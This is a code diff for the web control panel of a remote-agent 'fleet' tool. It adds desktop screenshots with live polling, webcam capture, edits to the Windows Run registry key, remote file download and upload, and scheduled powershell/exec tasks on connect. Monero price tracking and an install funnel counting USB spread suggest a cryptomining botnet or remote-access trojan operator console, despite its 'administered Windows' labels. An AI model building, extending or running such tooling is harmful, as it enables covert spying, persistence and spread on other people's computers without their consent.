maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays)
@@ -227,6 +232,11 @@ func main() {
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir)
fleetSched := scheduler.New(database, wsHub)
fleetSched.Start()
defer fleetSched.Stop()
wsHub.SetConnectTaskRunner(fleetSched)
// Initialize blueprint handler (config presets)
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
log.Println("Blueprint handler initialized")

View File

@@ -207,6 +207,14 @@ export const api = {
// XMR market price (server-side CoinGecko cache, refreshed every 10 min)
getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
getAudit: () => fetchJSON<import('../types').AuditEntry[]>('/audit'),
getFleetTasks: () => fetchJSON<import('../types').FleetTask[]>('/fleet-tasks'),
saveFleetTask: (task: import('../types').FleetTask) =>
fetchJSON<import('../types').FleetTask>('/fleet-tasks', { method: 'PUT', body: JSON.stringify(task) }),
deleteFleetTask: (id: string) =>
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {

View File

@@ -9,8 +9,10 @@ import { pushFileToAgentDesktop } from '../../help/desktopPush';
import { parseFullSysCheckMessage } from '../../types/syscheck';
import type { FullSysCheckReport } from '../../types/syscheck';
import FullSysCheckPanel from './FullSysCheckPanel';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import './AgentRemoteActions.css';
import './FullSysCheckPanel.css';
import './ProtocolTunnelPanel.css';
const TERMINAL_MAX_LINES = 500;
@@ -51,10 +53,20 @@ export default function AgentRemoteActions({
// terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
const [terminalLog, setTerminalLog] = useState<string[]>([]);
const [screenshotData, setScreenshotData] = useState<string | null>(null);
const [liveView, setLiveView] = useState(false);
const liveViewRef = useRef(false);
liveViewRef.current = liveView;
const [busy, setBusy] = useState<string | null>(null);
const [wolMac, setWolMac] = useState('');
const [wolExpanded, setWolExpanded] = useState(false);
const [registryExpanded, setRegistryExpanded] = useState(false);
const [regHive, setRegHive] = useState('HKCU');
const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
const [regName, setRegName] = useState('');
const [regValue, setRegValue] = useState('');
const [regType, setRegType] = useState('REG_SZ');
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
@@ -152,18 +164,24 @@ export default function AgentRemoteActions({
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
setSysCheckReport(null);
}
} else if (action === 'screenshot') {
} else if (action === 'tunnel_status' && success && message) {
setTunnelStatusMsg(message);
} else if (action === 'screenshot' || action === 'camera_snapshot') {
const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
const kind = action === 'camera_snapshot' ? 'camera' : 'screenshot';
const tag = action === 'camera_snapshot' ? 'CAMERA' : 'SCREENSHOT';
if (success && message) {
const clean = sanitizeScreenshotBase64(message);
if (downloadScreenshotFromBase64(clean, label)) {
if (liveViewRef.current && action === 'screenshot') {
setScreenshotData(`data:image/jpeg;base64,${clean}`);
addLog(`✓ Screenshot saved — ${label}`);
} else if (downloadScreenshotFromBase64(clean, label, kind)) {
setScreenshotData(`data:image/jpeg;base64,${clean}`);
addLog(`${tag} saved — ${label}`);
} else {
addLog(`✗ [SCREENSHOT] ${label}: invalid image data`);
addLog(`✗ [${tag}] ${label}: invalid image data`);
}
} else {
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
} else if (!liveViewRef.current || action !== 'screenshot') {
addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`);
}
} else if (action && action !== 'full_sys_check') {
const icon = success ? '✓' : '✗';
@@ -174,6 +192,24 @@ export default function AgentRemoteActions({
}
}, [commandResults, agentId, addLog, agentNameProp, agent?.name]);
useEffect(() => {
if (!liveView || !isOnline || !agentId || agentId === 'all') return;
let focused = document.visibilityState === 'visible';
const onVis = () => { focused = document.visibilityState === 'visible'; };
document.addEventListener('visibilitychange', onVis);
const id = setInterval(() => {
if (!focused) return;
api.sendAgentCommand(agentId, 'screenshot').catch(() => {});
}, 3000);
api.sendAgentCommand(agentId, 'screenshot').catch(() => {});
return () => {
clearInterval(id);
document.removeEventListener('visibilitychange', onVis);
};
}, [liveView, isOnline, agentId]);
useEffect(() => () => setLiveView(false), []);
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
if (!agentId) {
addLog('⚠ No agent selected');
@@ -222,6 +258,8 @@ export default function AgentRemoteActions({
try {
if (action === 'screenshot') {
addLog(`◈ Capturing desktop on ${agentName}`);
} else if (action === 'camera_snapshot') {
addLog(`◈ Capturing USB/built-in camera on ${agentName}`);
} else {
addLog(`${action}${agentId === 'all' ? 'FLEET' : agentName}`);
}
@@ -230,7 +268,7 @@ export default function AgentRemoteActions({
addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
return;
}
if (action !== 'screenshot') addLog(`✓ command queued`);
if (action !== 'screenshot' && action !== 'camera_snapshot') addLog(`✓ command queued`);
onCommandSent?.(action);
} catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Command failed';
@@ -327,6 +365,16 @@ export default function AgentRemoteActions({
<h3>Recon &amp; Intel</h3>
<div className="button-grid">
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
<button
type="button"
className={liveView ? 'active' : ''}
disabled={!isOnline || agentId === 'all'}
onClick={() => setLiveView((v) => !v)}
title="Poll desktop every 3s while this tab is focused"
>
{liveView ? '■ Live view' : '▶ Live view'}
</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('camera_snapshot')} title="Capture one JPEG frame from the first USB or built-in webcam (requires ffmpeg on Windows agents)">Camera</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
<button
@@ -528,7 +576,7 @@ export default function AgentRemoteActions({
className="btn-magenta"
disabled={aggDisabled('start_tunnel')}
title={aggTitle('start_tunnel')}
onClick={() => dispatch('start_tunnel')}
onClick={() => dispatch('tunnel_cloudflared')}
>
Cloudflare Tunnel
</button>
@@ -570,6 +618,100 @@ export default function AgentRemoteActions({
</button>
</div>
</div>
{!compact && agentId && agentId !== 'all' && (
<ProtocolTunnelPanel
agentId={agentId}
agentName={agentName}
online={isOnline}
caps={agent?.capabilities}
platform={agent?.platform}
lastTunnelStatusMessage={tunnelStatusMsg}
onDispatch={dispatch}
busy={busy}
/>
)}
{(platform === 'windows' || platform === undefined) && (
<div className="action-group registry-group">
<h3>Registry (administered Windows)</h3>
<button
type="button"
className="btn-cyan wol-toggle"
onClick={() => setRegistryExpanded((p) => !p)}
title="Read/write/delete under Software\ or Environment only"
>
Registry ops {registryExpanded ? '▲' : '▼'}
</button>
{registryExpanded && (
<div className="registry-form">
<div className="registry-row">
<select className="select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
<option value="HKCU">HKCU</option>
<option value="HKLM">HKLM (elevated)</option>
</select>
<input
className="input"
value={regPath}
onChange={(e) => setRegPath(e.target.value)}
placeholder="Software\...\Run"
/>
</div>
<div className="registry-row">
<input className="input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
<input className="input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write only)" />
<select className="select" value={regType} onChange={(e) => setRegType(e.target.value)}>
<option value="REG_SZ">REG_SZ</option>
<option value="REG_DWORD">REG_DWORD</option>
</select>
</div>
<div className="button-grid">
<button
type="button"
disabled={!isOnline || !!busy}
onClick={() =>
dispatch('registry_read', {
data: JSON.stringify({ hive: regHive, path: regPath }),
})
}
>
Read
</button>
<button
type="button"
disabled={!isOnline || !!busy || !regName}
onClick={() =>
dispatch('registry_write', {
data: JSON.stringify({
hive: regHive,
path: regPath,
name: regName,
value: regValue,
type: regType,
}),
})
}
>
Write
</button>
<button
type="button"
className="btn-amber"
disabled={!isOnline || !!busy || !regName}
onClick={() =>
dispatch('registry_delete', {
data: JSON.stringify({ hive: regHive, path: regPath, name: regName }),
})
}
>
Delete
</button>
</div>
<small>Allowlist: Software\ and Environment under HKCU/HKLM. Crucible JSON: action registry_read with data hive/path.</small>
</div>
)}
</div>
)}
</div>
{sysCheckReport && !compact && (
@@ -583,7 +725,7 @@ export default function AgentRemoteActions({
{screenshotData && (
<div className="screenshot-viewer">
<div className="viewer-header">
<span>Latest capture (also downloaded)</span>
<span>Latest capture (also downloaded as JPEG)</span>
<button
type="button"
onClick={() => {

View File

@@ -0,0 +1,118 @@
.file-manager {
border: 1px solid var(--clr-border, #333);
border-radius: 4px;
padding: 0.75rem;
background: rgba(0, 0, 0, 0.25);
font-size: 0.85rem;
}
.fm-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 0.5rem;
}
.fm-title {
font-size: 0.7rem;
letter-spacing: 0.06em;
color: var(--clr-dim);
}
.fm-breadcrumb {
margin-bottom: 0.5rem;
flex-wrap: wrap;
}
.fm-crumb {
background: none;
border: none;
color: var(--neon-cyan, #0ff);
cursor: pointer;
font-size: 0.75rem;
padding: 0;
}
.fm-sep {
opacity: 0.5;
margin: 0 0.15rem;
}
.fm-filter {
width: 100%;
margin-bottom: 0.5rem;
font-size: 0.8rem;
}
.fm-list {
list-style: none;
margin: 0;
padding: 0;
max-height: 220px;
overflow-y: auto;
border: 1px solid #222;
}
.fm-list li.selected {
background: rgba(0, 255, 255, 0.08);
}
.fm-row {
display: flex;
align-items: center;
gap: 0.4rem;
width: 100%;
padding: 0.25rem 0.4rem;
background: none;
border: none;
color: inherit;
text-align: left;
cursor: pointer;
}
.fm-name {
flex: 1;
background: none;
border: none;
color: inherit;
text-align: left;
cursor: pointer;
}
.fm-size {
font-size: 0.7rem;
color: var(--clr-dim);
}
.fm-actions {
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
margin-top: 0.5rem;
align-items: center;
}
.fm-upload-path {
flex: 1;
min-width: 120px;
font-size: 0.75rem;
}
.fm-preview {
margin-top: 0.5rem;
max-height: 120px;
overflow: auto;
font-size: 0.7rem;
background: #111;
padding: 0.4rem;
}
.fm-err {
color: #f66;
font-size: 0.8rem;
}
.fm-offline {
color: var(--clr-dim);
font-size: 0.8rem;
}

View File

@@ -0,0 +1,216 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { api } from '../../api/client';
import './FileManager.css';
interface DirEntry {
name: string;
is_dir: boolean;
size: number;
}
interface Props {
agentId: string;
agentName?: string;
online: boolean;
/** Called when a command_result arrives (from parent WS hook) */
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
}
function parseListDir(message: string): { path: string; entries: DirEntry[] } | null {
try {
const j = JSON.parse(message) as { path?: string; entries?: DirEntry[] };
if (j.entries && Array.isArray(j.entries)) {
return { path: j.path ?? '', entries: j.entries };
}
} catch {
/* not JSON */
}
return null;
}
export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
const [cwd, setCwd] = useState('C:\\');
const [entries, setEntries] = useState<DirEntry[]>([]);
const [filter, setFilter] = useState('');
const [selected, setSelected] = useState<Set<string>>(new Set());
const [busy, setBusy] = useState(false);
const [preview, setPreview] = useState('');
const [err, setErr] = useState('');
const [uploadPath, setUploadPath] = useState('');
const filtered = useMemo(() => {
const q = filter.trim().toLowerCase();
if (!q) return entries;
return entries.filter((e) => e.name.toLowerCase().includes(q));
}, [entries, filter]);
const refresh = useCallback(() => {
if (!online || !agentId) return;
setBusy(true);
setErr('');
api.sendAgentCommand(agentId, 'list_dir', { path: cwd }).catch((e) => {
setErr(e instanceof Error ? e.message : String(e));
setBusy(false);
});
}, [agentId, cwd, online]);
useEffect(() => {
refresh();
}, [refresh]);
useEffect(() => {
if (!commandResults?.length) return;
const last = [...commandResults].reverse().find((r) => r.agentId === agentId);
if (!last) return;
if (last.action === 'list_dir' && last.success) {
const parsed = parseListDir(last.message);
if (parsed) {
setEntries(parsed.entries);
if (parsed.path) setCwd(parsed.path);
}
setBusy(false);
} else if (last.action === 'list_dir' && !last.success) {
setErr(last.message);
setBusy(false);
} else if (last.action === 'read_file' && last.success) {
setPreview(last.message.slice(0, 8000));
setBusy(false);
} else if (last.action === 'read_file' && !last.success) {
setErr(last.message);
setBusy(false);
} else if (last.action === 'download') {
setBusy(false);
}
}, [commandResults, agentId]);
const navigate = (name: string, isDir: boolean) => {
if (!isDir) return;
const sep = cwd.includes('/') ? '/' : '\\';
let next = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
if (name === '..') {
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/);
parts.pop();
next = parts.join(sep) || (sep === '/' ? '/' : 'C:\\');
}
setCwd(next);
setSelected(new Set());
};
const toggleSelect = (name: string) => {
setSelected((prev) => {
const n = new Set(prev);
if (n.has(name)) n.delete(name);
else n.add(name);
return n;
});
};
const sep = cwd.includes('/') ? '/' : '\\';
const downloadSelected = async () => {
if (!online || selected.size === 0) return;
setBusy(true);
for (const name of selected) {
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
try {
const res = await api.sendAgentCommand(agentId, 'download', { path: p });
if (res && typeof res === 'object' && 'success' in res) {
/* result via WS */
}
} catch (e) {
setErr(e instanceof Error ? e.message : String(e));
}
}
setBusy(false);
};
const readFile = (name: string) => {
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
setBusy(true);
setPreview('');
api.sendAgentCommand(agentId, 'read_file', { path: p }).catch((e) => {
setErr(e instanceof Error ? e.message : String(e));
setBusy(false);
});
};
const crumbs = cwd.split(/[/\\]/).filter(Boolean);
return (
<div className="file-manager">
<div className="fm-header">
<span className="font-tech fm-title">FILE BROWSER {agentName ?? agentId.slice(0, 8)}</span>
<button type="button" className="btn btn-outline btn-sm" disabled={!online || busy} onClick={refresh}>
Refresh
</button>
</div>
{!online && <p className="fm-offline">Agent offline</p>}
<div className="fm-breadcrumb font-tech">
<button type="button" className="fm-crumb" onClick={() => setCwd(cwd.startsWith('/') ? '/' : 'C:\\')}>root</button>
{crumbs.map((c, i) => (
<span key={i}>
<span className="fm-sep">/</span>
<button
type="button"
className="fm-crumb"
onClick={() => {
const parts = crumbs.slice(0, i + 1);
setCwd((cwd.startsWith('/') ? '/' : '') + parts.join(sep));
}}
>
{c}
</button>
</span>
))}
</div>
<input
className="input fm-filter"
placeholder="Filter names…"
value={filter}
onChange={(e) => setFilter(e.target.value)}
/>
<ul className="fm-list">
<li>
<button type="button" className="fm-row" onClick={() => navigate('..', true)}>..</button>
</li>
{filtered.map((e) => (
<li key={e.name} className={selected.has(e.name) ? 'selected' : ''}>
<label className="fm-row">
<input type="checkbox" checked={selected.has(e.name)} onChange={() => toggleSelect(e.name)} />
<button type="button" className="fm-name" onClick={() => (e.is_dir ? navigate(e.name, true) : readFile(e.name))}>
{e.is_dir ? '📁' : '📄'} {e.name}
</button>
{!e.is_dir && <span className="fm-size">{e.size < 1024 ? `${e.size} B` : `${(e.size / 1024).toFixed(1)} KB`}</span>}
</label>
</li>
))}
</ul>
<div className="fm-actions">
<button type="button" className="btn btn-outline btn-sm" disabled={!online || selected.size === 0 || busy} onClick={downloadSelected}>
Download selected
</button>
<input className="input mono fm-upload-path" placeholder="Upload path" value={uploadPath} onChange={(e) => setUploadPath(e.target.value)} />
<label className="btn btn-outline btn-sm">
Upload
<input
type="file"
hidden
disabled={!online || busy}
onChange={async (ev) => {
const file = ev.target.files?.[0];
if (!file) return;
const { readFileAsBase64 } = await import('../../help/desktopPush');
const b64 = await readFileAsBase64(file);
const dest = uploadPath.trim() || `${cwd}${sep}${file.name}`;
setBusy(true);
api.sendAgentCommand(agentId, 'upload', { path: dest, data: b64 }).finally(() => setBusy(false));
ev.target.value = '';
}}
/>
</label>
</div>
{err && <p className="fm-err">{err}</p>}
{preview && <pre className="fm-preview">{preview}</pre>}
</div>
);
}

View File

@@ -0,0 +1,81 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import type { AuditEntry } from '../../types';
import NeonCard from '../NeonCard/NeonCard';
export function AuditLogStrip({ limit = 8 }: { limit?: number }) {
const [entries, setEntries] = useState<AuditEntry[]>([]);
useEffect(() => {
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([]));
const t = setInterval(() => {
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => {});
}, 60000);
return () => clearInterval(t);
}, [limit]);
return (
<NeonCard accent="purple" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>OPERATOR AUDIT</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
{entries.length === 0 ? (
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No audit entries yet.</p>
) : (
<ul style={{ listStyle: 'none', margin: 0, padding: 0, fontSize: '0.75rem', fontFamily: 'monospace' }}>
{entries.map((e) => (
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid #1a1a1a' }}>
<span style={{ color: 'var(--clr-dim)' }}>{new Date(e.timestamp).toLocaleString()}</span>
{' '}
<span style={{ color: 'var(--neon-cyan, #0ff)' }}>{e.username || '—'}</span>
{' · '}
<strong>{e.action}</strong>
{e.agent_id && <span style={{ color: 'var(--clr-dim)' }}> @{e.agent_id.slice(0, 8)}</span>}
</li>
))}
</ul>
)}
</NeonCard>
);
}
export function SpreadFunnelWidget() {
const [stats, setStats] = useState<Awaited<ReturnType<typeof api.getSpreadFunnel>> | null>(null);
useEffect(() => {
api.getSpreadFunnel().then(setStats).catch(() => setStats(null));
}, []);
if (!stats) return null;
return (
<NeonCard accent="cyan" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>INSTALL FUNNEL</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
<div style={{ display: 'flex', gap: '1.5rem', marginBottom: '0.75rem', fontSize: '0.85rem' }}>
<span>New today: <strong>{stats.new_connects_today}</strong></span>
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
</div>
{stats.by_build.length === 0 ? (
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
) : (
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
<thead>
<tr style={{ textAlign: 'left', color: 'var(--clr-dim)' }}>
<th>Build</th><th>Worker</th><th>Count</th><th>USB</th>
</tr>
</thead>
<tbody>
{stats.by_build.slice(0, 10).map((r, i) => (
<tr key={i} style={{ borderTop: '1px solid #222' }}>
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
<td>{r.worker_name}</td>
<td>{r.count}</td>
<td>{r.usb_spread_count > 0 ? r.usb_spread_count : '—'}</td>
</tr>
))}
</tbody>
</table>
)}
</NeonCard>
);
}

View File

@@ -0,0 +1,106 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import type { FleetTask } from '../../types';
import NeonCard from '../NeonCard/NeonCard';
const ACTIONS = ['sysinfo', 'full_sys_check', 'powershell', 'exec', 'pause', 'resume', 'restart'];
const TRIGGERS = ['on_connect', 'on_reconnect', 'interval_hours', 'cron'] as const;
const emptyTask = (): FleetTask => ({
name: '',
enabled: true,
trigger: 'on_connect',
action: 'sysinfo',
interval_hours: 24,
cron_time: '09:00',
command: '',
});
export default function FleetTasksPanel() {
const [tasks, setTasks] = useState<FleetTask[]>([]);
const [draft, setDraft] = useState<FleetTask>(emptyTask());
const [msg, setMsg] = useState('');
const [loading, setLoading] = useState(true);
const load = () => {
api.getFleetTasks().then(setTasks).catch(() => setTasks([])).finally(() => setLoading(false));
};
useEffect(() => { load(); }, []);
const save = async () => {
setMsg('');
if (!draft.name.trim()) {
setMsg('Name is required');
return;
}
try {
await api.saveFleetTask(draft);
setDraft(emptyTask());
load();
setMsg('Task saved.');
} catch (e) {
setMsg(e instanceof Error ? e.message : String(e));
}
};
const remove = async (id: string) => {
await api.deleteFleetTask(id);
load();
};
return (
<NeonCard accent="amber" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.25rem', letterSpacing: '0.08em' }}>FLEET TASKS</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.75rem' }}>Scheduled remote actions on connect / interval</p>
{loading ? <p className="font-tech">Loading</p> : (
<>
<ul style={{ listStyle: 'none', padding: 0, margin: '0 0 1rem' }}>
{tasks.length === 0 && <li style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No tasks configured.</li>}
{tasks.map((t) => (
<li key={t.id} style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', padding: '0.35rem 0', borderBottom: '1px solid #222' }}>
<span>
<strong>{t.name}</strong>
<span style={{ color: 'var(--clr-dim)', marginLeft: '0.5rem', fontSize: '0.75rem' }}>
{t.trigger} {t.action}{!t.enabled && ' (off)'}
</span>
</span>
<span>
<button type="button" className="btn btn-outline btn-sm" onClick={() => setDraft(t)}>Edit</button>
{' '}
<button type="button" className="btn btn-outline btn-sm" onClick={() => t.id && remove(t.id)}>Delete</button>
</span>
</li>
))}
</ul>
<div className="form-grid" style={{ gap: '0.5rem' }}>
<input className="input" placeholder="Task name" value={draft.name} onChange={(e) => setDraft({ ...draft, name: e.target.value })} />
<select className="input" value={draft.trigger} onChange={(e) => setDraft({ ...draft, trigger: e.target.value as FleetTask['trigger'] })}>
{TRIGGERS.map((tr) => <option key={tr} value={tr}>{tr}</option>)}
</select>
<select className="input" value={draft.action} onChange={(e) => setDraft({ ...draft, action: e.target.value })}>
{ACTIONS.map((a) => <option key={a} value={a}>{a}</option>)}
</select>
{draft.trigger === 'interval_hours' && (
<input className="input" type="number" min={0.25} step={0.25} placeholder="Interval hours"
value={draft.interval_hours ?? 24}
onChange={(e) => setDraft({ ...draft, interval_hours: parseFloat(e.target.value) || 24 })} />
)}
{draft.trigger === 'cron' && (
<input className="input mono" placeholder="HH:MM daily" value={draft.cron_time ?? ''} onChange={(e) => setDraft({ ...draft, cron_time: e.target.value })} />
)}
{(draft.action === 'powershell' || draft.action === 'exec') && (
<input className="input mono" placeholder="Command payload" value={draft.command ?? ''} onChange={(e) => setDraft({ ...draft, command: e.target.value })} />
)}
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', fontSize: '0.85rem' }}>
<input type="checkbox" checked={draft.enabled} onChange={(e) => setDraft({ ...draft, enabled: e.target.checked })} />
Enabled
</label>
<button type="button" className="btn btn-primary" onClick={save}>Save task</button>
</div>
{msg && <p style={{ marginTop: '0.5rem', fontSize: '0.85rem', color: msg.includes('required') || msg.includes('API') ? '#f66' : '#0f8' }}>{msg}</p>}
</>
)}
</NeonCard>
);
}

View File

@@ -139,3 +139,53 @@
color: #f87171;
font-size: 0.78rem;
}
.syscheck-warn {
color: #fbbf24;
}
.syscheck-kev-summary {
font-size: 0.82rem;
color: rgba(200, 220, 255, 0.85);
margin: 0.5rem 0;
}
.syscheck-kev-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.45rem;
}
.syscheck-kev-item {
display: grid;
grid-template-columns: auto 1fr auto;
gap: 0.35rem 0.5rem;
padding: 0.45rem 0.55rem;
border-radius: 6px;
border: 1px solid rgba(80, 120, 180, 0.25);
font-size: 0.78rem;
}
.syscheck-kev-exposed {
border-color: rgba(248, 113, 113, 0.45);
background: rgba(80, 20, 20, 0.25);
}
.syscheck-kev-likely {
border-color: rgba(251, 191, 36, 0.35);
background: rgba(60, 45, 10, 0.2);
}
.syscheck-kev-cve {
font-family: var(--font-mono, monospace);
color: #9ee0ff;
}
.syscheck-kev-detail {
grid-column: 1 / -1;
color: rgba(180, 200, 230, 0.75);
font-size: 0.72rem;
}

View File

@@ -115,6 +115,49 @@ export default function FullSysCheckPanel({
<Row label="Reboot Pending" value={<BoolBadge v={report.security?.reboot_pending} />} />
</Section>
{report.kev_exposure && (
<Section title="CISA KEV Exposure (heuristic)">
<Row
label="Risk score"
value={
<span
className={
report.kev_exposure.risk_score >= 50
? 'syscheck-bad'
: report.kev_exposure.risk_score >= 25
? 'syscheck-warn'
: 'syscheck-ok'
}
>
{report.kev_exposure.risk_score} / 100
</span>
}
/>
<Row
label="Indicators"
value={`${report.kev_exposure.exposed_count} exposed · ${report.kev_exposure.likely_count} likely · ${report.kev_exposure.critical_count} critical`}
/>
{report.kev_exposure.summary && (
<p className="syscheck-kev-summary">{report.kev_exposure.summary}</p>
)}
<ul className="syscheck-kev-list">
{report.kev_exposure.findings
?.filter((f) => f.status === 'exposed' || f.status === 'likely')
.map((f) => (
<li key={f.cve} className={`syscheck-kev-item syscheck-kev-${f.status}`}>
<span className="syscheck-kev-cve">{f.cve}</span>
<span className="syscheck-kev-name">{f.name}</span>
<span className="syscheck-kev-status">{f.status}</span>
{f.detail && <span className="syscheck-kev-detail">{f.detail}</span>}
</li>
))}
</ul>
<p className="syscheck-muted" style={{ marginTop: '0.5rem' }}>
Read-only checks aligned with CISA known-exploited CVE families (Log4Shell, ProxyLogon, Zerologon, Citrix, Pulse, F5, Confluence, etc.). Verify patches on any &quot;likely&quot; or &quot;exposed&quot; row.
</p>
</Section>
)}
<Section title="Hardware">
<Row label="System" value={[report.hardware?.manufacturer, report.hardware?.model].filter(Boolean).join(' ')} />
<Row label="Serial / BIOS" value={[report.hardware?.serial, report.hardware?.bios_version].filter(Boolean).join(' · ')} />

View File

@@ -0,0 +1,136 @@
.protocol-tunnel-panel {
margin-top: 1rem;
border: 1px solid rgba(201, 162, 39, 0.25);
border-radius: 8px;
background: rgba(8, 12, 24, 0.75);
}
.protocol-tunnel-panel.compact {
margin-top: 0.5rem;
}
.protocol-tunnel-toggle {
width: 100%;
display: flex;
justify-content: space-between;
align-items: center;
padding: 0.65rem 0.85rem;
background: transparent;
border: none;
color: var(--accent-gold, #c9a227);
cursor: pointer;
font-size: 0.85rem;
text-align: left;
}
.protocol-tunnel-toggle:hover {
background: rgba(201, 162, 39, 0.08);
}
.protocol-tunnel-body {
padding: 0 0.85rem 0.85rem;
border-top: 1px solid rgba(255, 255, 255, 0.06);
}
.protocol-tunnel-help {
font-size: 0.78rem;
color: var(--clr-dim, #888);
margin: 0.65rem 0 0.85rem;
line-height: 1.45;
}
.protocol-tunnel-cards {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
gap: 0.75rem;
}
.protocol-tunnel-card {
border: 1px solid rgba(0, 245, 255, 0.15);
border-radius: 6px;
padding: 0.65rem 0.75rem;
background: rgba(0, 0, 0, 0.25);
}
.protocol-tunnel-card h4 {
margin: 0 0 0.35rem;
font-size: 0.72rem;
letter-spacing: 0.1em;
color: var(--accent-cyan, #00f5ff);
text-transform: uppercase;
}
.protocol-tunnel-card-hint {
margin: 0 0 0.5rem;
font-size: 0.72rem;
color: var(--clr-dim, #888);
}
.protocol-tunnel-label {
display: block;
font-size: 0.72rem;
color: var(--clr-dim, #aaa);
margin-bottom: 0.45rem;
}
.protocol-tunnel-input {
display: block;
width: 100%;
margin-top: 0.2rem;
font-size: 0.8rem;
}
.protocol-tunnel-input.short {
max-width: 6rem;
}
.protocol-tunnel-row {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
}
.protocol-tunnel-actions {
margin-top: 0.35rem;
}
.protocol-tunnel-link {
display: inline-block;
text-decoration: none;
}
.protocol-tunnel-status-bar {
display: flex;
gap: 0.5rem;
margin-top: 0.85rem;
flex-wrap: wrap;
}
.protocol-tunnel-status {
margin-top: 0.75rem;
padding: 0.55rem 0.65rem;
border-radius: 6px;
background: rgba(0, 0, 0, 0.35);
font-size: 0.78rem;
}
.protocol-tunnel-status h4 {
margin: 0 0 0.4rem;
font-size: 0.7rem;
color: var(--accent-gold, #c9a227);
}
.protocol-tunnel-status-list {
margin: 0;
padding-left: 1.1rem;
line-height: 1.5;
}
.protocol-tunnel-raw {
margin: 0;
font-size: 0.72rem;
white-space: pre-wrap;
word-break: break-all;
max-height: 8rem;
overflow: auto;
}

View File

@@ -0,0 +1,278 @@
import { useCallback, useEffect, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import type { Agent, AgentCapabilities } from '../../types';
import { canRunAggressiveAction, aggressiveActionHint } from '../../help/aggressiveActions';
import './ProtocolTunnelPanel.css';
export interface TunnelStatusView {
cloudflared_running?: boolean;
cloudflared_url?: string;
cloudflared_pid?: number;
wireguard_active?: boolean;
wireguard_detail?: string;
ssh_forwards?: Array<{
local_port: number;
remote_host: string;
remote_port: number;
ssh_user?: string;
jump_host?: string;
pid: number;
running?: boolean;
}>;
}
function parseTunnelStatus(message: string): TunnelStatusView | null {
const start = message.indexOf('{');
if (start < 0) return null;
try {
return JSON.parse(message.slice(start)) as TunnelStatusView;
} catch {
return null;
}
}
interface Props {
agentId: string;
agentName: string;
online: boolean;
